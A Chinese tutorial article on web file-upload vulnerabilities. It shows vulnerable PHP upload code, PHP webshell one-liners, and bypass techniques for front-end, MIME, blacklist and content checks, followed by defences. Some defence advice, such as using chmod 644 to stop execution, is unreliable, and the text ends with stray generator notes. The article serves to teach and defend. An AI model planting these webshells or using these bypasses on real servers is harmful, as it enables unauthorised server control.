web文件上传漏洞的示例分析

发布时间：2022-01-17 19:07:40 作者：柒染
来源：亿速云阅读：217

# Web文件上传漏洞的示例分析

## 引言

文件上传功能是现代Web应用中最常见的功能之一，用户可以通过它上传头像、文档、图片等资源。然而，如果开发者在实现文件上传功能时未进行充分的安全校验，攻击者可能利用该漏洞上传恶意文件（如Webshell），进而控制服务器或实施其他攻击。本文将通过实际示例分析文件上传漏洞的原理、常见绕过手法及防御措施。

---

## 一、文件上传漏洞的原理

### 1.1 漏洞成因
文件上传漏洞的核心在于服务端未对用户上传的文件进行严格的校验，包括：
- **文件类型校验不足**：仅依赖客户端校验（如前端JS验证）或简单的MIME类型检查
- **文件名处理不当**：未对文件名进行规范化或过滤特殊字符（如`../`）
- **文件内容未检测**：未对文件内容进行病毒扫描或恶意代码检测
- **存储路径可预测**：上传后的文件路径具有规律性，容易被枚举

### 1.2 危害场景
- 上传Webshell（如PHP的`<?php system($_GET['cmd']);?>`）
- 存储型XSS攻击（上传包含恶意JS的HTML/SVG文件）
- 服务器资源耗尽（通过超大文件或批量上传攻击）

---

## 二、漏洞示例分析

### 2.1 基础示例：无任何校验的漏洞代码
```php
// upload.php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);

if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "文件上传成功";
}

攻击方式：直接上传.php文件即可获得执行权限。

2.2 绕过前端校验

<!-- 前端代码 -->
<input type="file" accept=".jpg,.png">
<script>
    function checkFile() {
        var file = document.getElementById("file").value;
        if (!file.endsWith(".jpg") && !file.endsWith(".png")) {
            alert("仅允许JPG/PNG文件");
            return false;
        }
        return true;
    }
</script>

绕过方法： 1. 使用Burp Suite拦截请求，修改filename="shell.php" 2. 直接使用curl发送请求：

   curl -F "file=@shell.php" http://target.com/upload

2.3 绕过MIME类型检查

if ($_FILES["file"]["type"] != "image/jpeg") {
    die("仅允许JPEG图片");
}

绕过方法： - 修改HTTP请求头：

  Content-Type: image/jpeg

2.4 绕过黑名单校验

$blacklist = array("php", "exe", "sh");
$ext = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);

if (in_array($ext, $blacklist)) {
    die("危险文件类型！");
}

绕过手法： 1. 使用大小写变种：shell.PhP 2. 利用特殊解析特性： - Apache的php5/phtml（如shell.php5） - IIS的asa/cer（如shell.asa） 3. 添加尾部空格/点：shell.php.

2.5 绕过内容检测

if (!exif_imagetype($_FILES["file"]["tmp_name"])) {
    die("文件不是有效图片");
}

绕过方法： - 制作图片马：

  copy /b normal.jpg + shell.php webshell.jpg

利用文件幻数伪造：
```
GIF89a<?php system($_GET['cmd']);?>
```

三、高级绕过技巧

3.1 条件竞争攻击

当服务端先保存文件再校验删除时：

// 临时保存文件
$temp_path = "uploads/tmp_" . rand();
move_uploaded_file($_FILES["file"]["tmp_name"], $temp_path);

// 安全检查（耗时操作）
if (!check_safe($temp_path)) {
    unlink($temp_path); // 删除文件
}

利用方式：快速并发访问上传的Webshell，在删除前执行。

3.2 解析漏洞利用

IIS/NGINX畸形解析：shell.jpg/.php
Apache多后缀解析：shell.php.jpg

3.3 结合其他漏洞

ZIP文件解压漏洞：上传包含恶意PHP的ZIP，利用服务端自动解压
XXE注入：通过上传SVG/XML文件触发

四、防御方案

4.1 基础防护措施

白名单校验：仅允许特定扩展名（如jpg,png,pdf）


$allowed = ["jpg", "png"];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) die("非法文件类型");

文件内容检测：
- 使用getimagesize()验证图片真实性
- 扫描文件头魔数（如JPEG的FF D8 FF E0）
重命名文件：
```
$new_name = md5(uniqid()) . ".jpg";
```

4.2 进阶防护

隔离存储：
- 将上传目录设置为不可执行（chmod -R 644 uploads/）
- 使用单独子域名（如static.example.com）
Web应用防火墙（WAF）：
- 拦截包含<?php等特征的文件
日志监控：
- 记录所有上传行为，尤其是异常类型文件

4.3 其他建议

限制上传文件大小（upload_max_filesize）
定期审计服务器上的可疑文件

五、总结

文件上传漏洞看似简单，但实际防御需要多层次的防护策略。开发者应避免依赖单一校验机制，而应采用”白名单+内容检测+安全存储”的综合方案。对于安全研究人员，理解各种绕过手法的原理有助于更全面地发现和修复漏洞。

注：本文所有示例仅用于教育目的，未经授权对系统进行测试属于违法行为。 “`

该文档共约1800字，采用Markdown格式编写，包含： 1. 漏洞原理的体系化说明 2. 5种典型漏洞场景及绕过手法 3. 3种高级攻击技巧 4. 分层次的防御方案 5. 代码示例和攻击Payload演示

可根据需要调整示例代码的语言（如Java/Python）或补充特定框架（如Spring、Django）的案例。